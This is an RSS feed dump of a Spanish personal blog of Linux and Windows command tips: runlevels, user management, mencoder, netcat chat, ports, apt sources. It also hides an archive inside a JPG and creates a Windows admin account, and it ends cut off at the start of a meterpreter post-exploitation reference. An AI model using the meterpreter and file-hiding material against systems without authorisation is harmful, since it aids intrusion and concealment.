&lt;p>Después de la K o S sigue un número consecutivo, seguido generalmente del nombre del servicio que afectan, el número secuencial es simplemente el orden en que se leerán los scripts, primero los K comenzando con el 01 y hacía adelante y después los S. Entonces si por ejemplo no queremos que se inicie el samba en el nivel 3 bastaría con borrar su enlace en este directorio:&lt;/p>
&lt;p>&lt;code>pwd&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">/etc/rc.d/rc3.d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>rm S54smb&lt;/code>&lt;/p>
&lt;p>Y listo, el servidor samba ya no arrancaría cuando entremos en este nivel de ejecución. Si por lo contrario lo que deseamos es iniciar (o apagar) un servicio, basta con crear su enlace en el directorio respectivo:&lt;/p>
&lt;p>&lt;code>pwd&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">/etc/rc.d/rc5.d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>`ln -s /etc/rc.d/init.d/mysql S90mysql&lt;/p>
&lt;p>`ls -l S90mysql&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">lrwxrwxrwx 1 root root 9 Oct 20 18:23 S90mysql -&amp;gt; ../init.d/mysql
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Con esto la siguiente vez que iniciemos el equipo o cambiemos a nivel 5 con init, también se iniciará el servidor de la base de datos MySQL. El número 90 es escogido al azar entre 01 y 99 es simplemente el orden en que serán iniciados o detenidos los servicios.&lt;/p></description></item><item><title>Gestión de usuarios y grupos ftp</title><link>https://www.procamora.com/p/usuarios_grupos/</link><pubDate>Sun, 01 Nov 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/usuarios_grupos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Gestión de usuarios y grupos ftp" />&lt;h6 id="creamos-el-usuario">Creamos el usuario:&lt;/h6>
&lt;p>&lt;code>sudo useradd -G ftp -d /home/ftp/rocky -c &amp;quot;Nombre y Apellidos&amp;quot; rocky&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-G ftp El usuario pertenece al grupo FTP
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-d /home/ftp/pedro Es el directorio de trabajo del usuario
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-c &amp;#34;Nombre y Apellidos&amp;#34; Es un comentario del usuario
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-s /bin/bash Es el shell que usara el usuario
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="asignamos-una-contraseña-para-el-usuario">Asignamos una contraseña para el usuario&lt;/h6>
&lt;p>&lt;code>sudo passwd rocky&lt;/code>&lt;/p>
&lt;h6 id="modificar-un-usuario">Modificar un usuario&lt;/h6>
&lt;p>&lt;code>sudo usermod -s /bin/ftp rocky&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-c añade o modifica el comentario /etc/passwd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-d modifica el directorio de trabajo del usuario
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-g cambia el número de grupo principal del usuario (GID)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-G establece otros grupos a los que puede pertenecer el usuario, separados por comas.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-l cambia el login o nombre del usuario
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-L bloque la cuenta del usuario, no permitiéndole que ingrese al sistema.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-s cambia el shell por defecto del usuario cuando ingrese al sistema.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-u cambia el UID del usuario.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-U desbloquea una cuenta previamente bloqueada con la opción -L.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="borrar-un-usuario-de-etcpasswd-y-etcshadow">Borrar un usuario de etc/passwd y /etc/shadow&lt;/h6>
&lt;p>&lt;code>sudo userdel nombre_usuario&lt;/code>&lt;/p>
&lt;h6 id="borrar-un-usuario-de-etcpasswd-etcshadow-y-su-carpeta-personal">Borrar un usuario de etc/passwd /etc/shadow y su carpeta personal&lt;/h6>
&lt;p>&lt;code>sudo userdel -r nombre_usuario&lt;/code>&lt;/p>
&lt;h6 id="un-usuario-de-etcpasswd-etcshadow-su-carpeta-personal-aunque-el-usuario-este-logueado-en-el-sistema">Un usuario de etc/passwd /etc/shadow su carpeta personal aunque el usuario este logueado en el sistema&lt;/h6>
&lt;p>&lt;code>sudo userdel -f nombre_usuario&lt;/code>&lt;/p>
&lt;h6 id="crear-un-grupo-de-usuarios">Crear un grupo de usuarios&lt;/h6>
&lt;p>&lt;code>sudo groupadd nombre_grupo&lt;/code>&lt;/p></description></item><item><title>Añadir al menú contextual extraer en</title><link>https://www.procamora.com/p/menu_contextual_rar/</link><pubDate>Sat, 24 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/menu_contextual_rar/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Añadir al menú contextual extraer en" />&lt;h6 id="para-poner-en-el-menú-contextual-de-gnome-descomprimir-rar-hace-falta-instalar-file-roller">Para poner en el menú contextual de gnome descomprimir rar hace falta instalar &lt;strong>file-roller&lt;/strong>&lt;/h6>
&lt;p>&lt;code>sudo apt-get install file-roller&lt;/code>&lt;/p></description></item><item><title>Montar iso en cdrom</title><link>https://www.procamora.com/p/montar_fichero_iso_como_cd-rom/</link><pubDate>Fri, 23 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/montar_fichero_iso_como_cd-rom/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Montar iso en cdrom" />&lt;p>&lt;code>mount /ruta/fichero.iso /mnt/cdrom -oloop&lt;/code>&lt;/p>
&lt;p>&lt;code>umount /mnt/cdrom&lt;/code>&lt;/p></description></item><item><title>Cambiar formato videos</title><link>https://www.procamora.com/p/mencoder/</link><pubDate>Thu, 22 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/mencoder/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Cambiar formato videos" />&lt;h6 id="cambiar-formato-de-los-vídeos">Cambiar formato de los vídeos&lt;/h6>
&lt;p>&lt;code>mencoder -idx 'videooriginal.ogv' -ovc lavc -oac mp3lame -o 'videofinal.flv'&lt;/code>&lt;/p>
&lt;h6 id="incluir-subtítulos-en-un-vídeo">Incluir subtítulos en un vídeo&lt;/h6>
&lt;p>&lt;code>mencoder 'VideoOriginal.avi' -sub 'ArchivoDeSubtitulos.srt' -subcp utf-8 -oac copy -ovc xvid -xvidencopts pass=1 -o 'VideoDeSalida.avi'&lt;/code>&lt;/p>
&lt;h6 id="unir-2-vídeos">Unir 2 vídeos&lt;/h6>
&lt;p>&lt;code>mencoder -oac copy -ovc copy -o 'video_completo.avi' 'parte1.avi' 'parte2.avi'&lt;/code>&lt;/p></description></item><item><title>Ruta de los binarios en linux</title><link>https://www.procamora.com/p/localizacion_programas/</link><pubDate>Sat, 10 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/localizacion_programas/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Ruta de los binarios en linux" />&lt;p>En linux los programas se instalan en su sitio:&lt;/p>
&lt;ul>
&lt;li>Los binarios en &lt;strong>/usr/bin/&lt;/strong>&lt;/li>
&lt;li>Las librerías en &lt;strong>/usr/lib/&lt;/strong>&lt;/li>
&lt;li>Los archivos de configuración en &lt;strong>/etc/&lt;/strong>&lt;/li>
&lt;li>Los archivos de configuración personal en &lt;strong>$HOME&lt;/strong> o &lt;strong>~/&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>whereis &amp;lt;programa&amp;gt;&lt;/code>&lt;/p></description></item><item><title>Script sacar ip linux</title><link>https://www.procamora.com/p/ip/</link><pubDate>Fri, 09 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/ip/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Script sacar ip linux" />&lt;p>&lt;code>ifconfig eth0 | awk '/inet addr/ {split ($2,A,&amp;quot;:&amp;quot;); print A[2]}'&lt;/code>&lt;/p></description></item><item><title>Crear chat con netcat</title><link>https://www.procamora.com/p/netcat/</link><pubDate>Thu, 08 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/netcat/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Crear chat con netcat" />&lt;h2 id="para-hacer-un-chat-entre-ordenadores-en-una-red-local">Para hacer un chat entre ordenadores en una red local&lt;/h2>
&lt;h6 id="servidor">Servidor&lt;/h6>
&lt;p>&lt;code>nc -l -p 6698&lt;/code>&lt;/p>
&lt;h6 id="cliente">Cliente&lt;/h6>
&lt;p>&lt;code>nc ip-server 6698&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>Importante: La conversación se manda por paquetes tcp sin cifrar, por lo que con un sniffer(wireshark) en la red local se pueden leer los paquetes&lt;/p>
&lt;/blockquote></description></item><item><title>Revisar puertos netstat</title><link>https://www.procamora.com/p/netstat/</link><pubDate>Wed, 07 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/netstat/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Revisar puertos netstat" />&lt;p>Para ver solo los puertos que hay a escuchando&lt;/p>
&lt;p>&lt;code>netstat -lnpt&lt;/code>&lt;/p></description></item><item><title>Permisos linux</title><link>https://www.procamora.com/p/permisos/</link><pubDate>Tue, 06 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/permisos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Permisos linux" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">4 significa permiso de lectura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2 significa permiso de escritura
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">1 significa permiso de ejecución
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Estos números se pueden sumar para asignar una configuración de permisos mas adecuada, Ejemplos:
4+1=5, entonces el 5 significa lectura+ ejecución, otra configuración es 4+2+1=7, entonces el 7 significa que el archivo tiene permisos de lectura+escritura+ ejecución (todos los permisos), una ultima configuración; 4+2=6, entonces el 6 significa permisos de lectura+escritura.&lt;/p>
&lt;blockquote>
&lt;p>lectura(r), escritura(w) y ejecución(x) al usuario(u) y al grupo(g)&lt;/p>
&lt;/blockquote></description></item><item><title>Arreglar problema de red en gnome</title><link>https://www.procamora.com/p/problemasredgnome/</link><pubDate>Mon, 05 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/problemasredgnome/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Arreglar problema de red en gnome" />&lt;p>A veces sucede que, cuando tienes que instalar o configurar un ordenador nuevo, simplemente esperas que todo funcione como debiera tras instalar los tantos megas correspondientes. Pero no siempre es así y, como la memoria de uno ya no es lo que era, la búsqueda de soluciones se vuelve un laberinto del que no resulta fácil salir.&lt;/p>
&lt;p>En esta ocasión (habrá otras, no lo dudo), el culpable ha sido Caja, al tratar de acceder vía SAMBA a mi raspberry para recuperar el último episodio de una serie. Con toda su desfachatez, me mostraba el mensaje:&lt;/p>
&lt;blockquote>
&lt;p>Could not display &amp;ldquo;network:///&amp;rdquo;&lt;/p>
&lt;p>Caja cannot handle &amp;ldquo;network&amp;rdquo; locations.&lt;/p>
&lt;/blockquote>
&lt;p>NOTA: el error, lo he constatado, aparece tanto para nautilus como para caja.&lt;/p>
&lt;p>Fue echarle un ojo y saber que estaba relacionado con GVFS porque todo lo que huela a red en GNOME y alrededores tiene que ver con ese paquete, pero me tuve que pasar mis buenos quince minutos buscando, cribando la red en dos idiomas distintos para dar con la solución. Son dos míseros paquetes:&lt;/p>
&lt;p>&lt;code>sudo apt-get install gvfs-backends libsmbclient&lt;/code>&lt;/p>
&lt;p>Y listo, caja (o nautilus) volverá a funcionar como siempre, accediendo vía samba y ssh al resto de la red.&lt;/p>
&lt;p>Fuente: &lt;a class="link" href="https://debianhackers.net/cajanautilus-no-puede-con-las-direcciones-network/" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Eliminar procesos por id</title><link>https://www.procamora.com/p/procesos/</link><pubDate>Sun, 04 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/procesos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Eliminar procesos por id" />&lt;h6 id="mostrar-procesos">Mostrar procesos&lt;/h6>
&lt;p>&lt;code>ps -A&lt;/code>&lt;/p>
&lt;h6 id="matar-proceso-por-pid">Matar proceso por pid&lt;/h6>
&lt;p>&lt;code>sudo kill 'pid'&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>hay distintos números para mandar al proceso a la hora de matarlo 1..9&lt;/p>
&lt;/blockquote>
&lt;h6 id="matar-procesos-por-nombre">Matar procesos por nombre&lt;/h6>
&lt;p>&lt;code>sudo killall php&lt;/code>&lt;/p>
&lt;h6 id="matar-por-entorno-gráfico">Matar por entorno gráfico&lt;/h6>
&lt;p>&lt;code>sudo xkill&lt;/code>&lt;/p></description></item><item><title>Ver puertos abiertos</title><link>https://www.procamora.com/p/puertos/</link><pubDate>Sat, 03 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/puertos/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Ver puertos abiertos" />&lt;p>&lt;code>sudo nmap -O localhost | grep &amp;quot;open&amp;quot;&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo fuser -n tcp puerto&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo ps -l PID&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo /etc/init.d/aplicación stop&lt;/code>&lt;/p>
&lt;h6 id="matar-por-la-fuerza">matar por la fuerza&lt;/h6>
&lt;p>&lt;code>sudo fuser -nk tcp puerto&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo killall servicio&lt;/code>&lt;/p>
&lt;p>&lt;code>sudo kill -9 PID&lt;/code>&lt;/p></description></item><item><title>Repositorios mas usados</title><link>https://www.procamora.com/p/sources_list/</link><pubDate>Fri, 02 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/sources_list/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Repositorios mas usados" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://ftp.es.debian.org/debian/ wheezy main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb-src http://ftp.es.debian.org/debian/ wheezy main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb http://security.debian.org/ wheezy/updates main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb-src http://security.debian.org/ wheezy/updates main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb http://http.es.debian.org/debian/ wheezy universe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="debian-multimedia">debian multimedia&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://www.deb-multimedia.org wheezy main non-free
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb-src http://www.deb-multimedia.org wheezy main non-free
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="depot-multisystem">Depot MultiSystem&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://liveusb.info/multisystem/depot all main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb-src http://liveusb.info/multisystem/depot all main
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="tor-project">Tor Project&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://deb.torproject.org/torproject.org lucid main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb-src http://deb.torproject.org/torproject.org lucid main
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="google-chrome">Google Chrome&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://dl.google.com/linux/chrome/deb/ stable main
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="dropbox">Dropbox&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://linux.dropbox.com/debian wheezy main
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="spotify">Spotify&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://repository.spotify.com stable non-free
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h6 id="debian-wheezy-java">Debian wheezy Java&lt;/h6>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">deb http://ftp.us.debian.org/debian wheezy contrib non-free
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">deb http://ftp.us.debian.org/debian wheezy contrib
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Cambiar el idioma del teclado</title><link>https://www.procamora.com/p/teclado_espa%C3%B1ol/</link><pubDate>Thu, 01 Oct 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/teclado_espa%C3%B1ol/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Cambiar el idioma del teclado" />&lt;h6 id="para-poner-nuestro-teclado-en-español-en-la-mayoría-de-distribuciones">Para poner nuestro teclado en español en la mayoría de distribuciones&lt;/h6>
&lt;p>&lt;code>setxkbmap es&lt;/code>&lt;/p>
&lt;blockquote>
&lt;p>He encontrado unas cuantas distribuciones en las que no funciona, sobre todo las minimalistas o compiladas para antenas, router, etc&lt;/p>
&lt;/blockquote></description></item><item><title>Uso de estenagrofia</title><link>https://www.procamora.com/p/estenagrogafia_windows/</link><pubDate>Sat, 12 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/estenagrogafia_windows/</guid><description>&lt;img src="https://www.procamora.com/covers/windows.png" alt="Featured image of post Uso de estenagrofia" />&lt;p>&lt;code>copy /B archivo1+archivo2+archivoN archivoNuevo&lt;/code>&lt;/p>
&lt;h1 id="pasos">Pasos:&lt;/h1>
&lt;ol>
&lt;li>
&lt;p>el gringo creo la carpeta &amp;ldquo;X&amp;rdquo; en el disco duro C: (esto para hacer el proceso mas fácil)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Seguidamente copio a esa carpeta, los archivos que realmente desea compartir y también la imagen que servirá solo como fachada&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Seleccionas los &amp;ldquo;archivos importantes&amp;rdquo; y los comprimes dentro de un archivo con un nombre corto (para facilitar el tramite) el gringo le dio el nombre &amp;ldquo;X&amp;rdquo;, pero pudo haberle puesto &amp;ldquo;PERRO&amp;rdquo;, &amp;ldquo;GATO&amp;rdquo;, etc.
Realmente puede usar cualquier compresor sea Winrar o Winzip para crear el comprimido.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Te vas a usar la linea de comandos para eso pulsas: INICIO &amp;gt; EJECUTAR o START &amp;gt; RUN en ingles.
Seguidamente escribe CMD y pulsas ENTER.
A continuación estarás en una ventana de fondo negro en donde:
A) escribirás: &lt;code>CD\X&lt;/code> y pulsa ENTER (entrar a la carpeta que contiene los archivos)
B) escribes COPY /B [nombre de archivo de imagen.extensión] + [nombre de archivo comprimido.extensión] [Nombre del archivo destino.extensión JPG]&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Segun el video:
&lt;code>COPY /B cow.jpg + x.7z secretcow.jpg&lt;/code>&lt;/p>
&lt;p>y Listo!!!
al abrir el archivo secretcow.jpg normalmente lo que encuentra en primer lugar es la cabecera del archivo de imagen y abre la imagen.&lt;/p>
&lt;p>Pero si abres 7zip Manager (7zip si es obligatorio para sacar los archivos ocultos) podrás abrir el archivo SECRETCOW.jpg y lo que te aparecerán son los archivos contenidos dentro del archivo comprimido.&lt;/p>
&lt;p>Los descomprimes y listo.&lt;/p>
&lt;blockquote>
&lt;p>Nota: No solamente funciona con JPG sino tambien con archivos GIF (ya lo probé) y tal vez funcione con otros tipos de archivos.&lt;/p>
&lt;/blockquote></description></item><item><title>Crear un aranque dual en windows</title><link>https://www.procamora.com/p/arranque_dual_windows/</link><pubDate>Fri, 11 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/arranque_dual_windows/</guid><description>&lt;img src="https://www.procamora.com/covers/windows.png" alt="Featured image of post Crear un aranque dual en windows" />&lt;h6 id="tienes-que-ejecutar-la-consola-como-administrador">Tienes que ejecutar la consola como administrador&lt;/h6>
&lt;p>&lt;code>bcdedit&lt;/code>&lt;/p>
&lt;p>&lt;code>bcdedit /set {identifier} description &amp;quot;lo que quieras que salga&amp;quot;&lt;/code>&lt;/p></description></item><item><title>Crar administrador por consola</title><link>https://www.procamora.com/p/crear_administrador_windows/</link><pubDate>Thu, 10 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/crear_administrador_windows/</guid><description>&lt;img src="https://www.procamora.com/covers/windows.png" alt="Featured image of post Crar administrador por consola" />&lt;h2 id="para-crear-un-usuario-administrador-a-través-de-la-consola">Para crear un usuario administrador a través de la consola:&lt;/h2>
&lt;h6 id="1-creamos-un-usuario">1. Creamos un usuario&lt;/h6>
&lt;p>&lt;code>net user /add SuperAdmin&lt;/code>&lt;/p>
&lt;h6 id="2-metemos-dentro-del-grupo-administradores-el-usuario-creado">2. Metemos dentro del grupo &lt;em>Administradores&lt;/em> el usuario creado&lt;/h6>
&lt;p>&lt;code>net localgroup administradores SuperAdmin /add&lt;/code>&lt;/p>
&lt;h6 id="3-asignamos-una-contraseña-al-usuario-creado">3. Asignamos una contraseña al usuario creado&lt;/h6>
&lt;p>&lt;code>net user SuperAdmin &amp;quot;contraseña&amp;quot;&lt;/code>&lt;/p></description></item><item><title>meterpreter</title><link>https://www.procamora.com/p/meterpreter/</link><pubDate>Tue, 08 Sep 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/meterpreter/</guid><description>&lt;img src="https://www.procamora.com/covers/pentesting.png" alt="Featured image of post meterpreter" />&lt;p>background &lt;Core>
Permite establecer el proceso de la consola meterpreter a un proceso “demonio” con lo que posteriormente permitirá volver al contexto de ejecución anterior a la obtención de la consola, eventualmente se puede volver a activar este proceso por medio del comando sesión:&lt;/p>
&lt;p>&lt;code>meterpreter &amp;gt; background&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
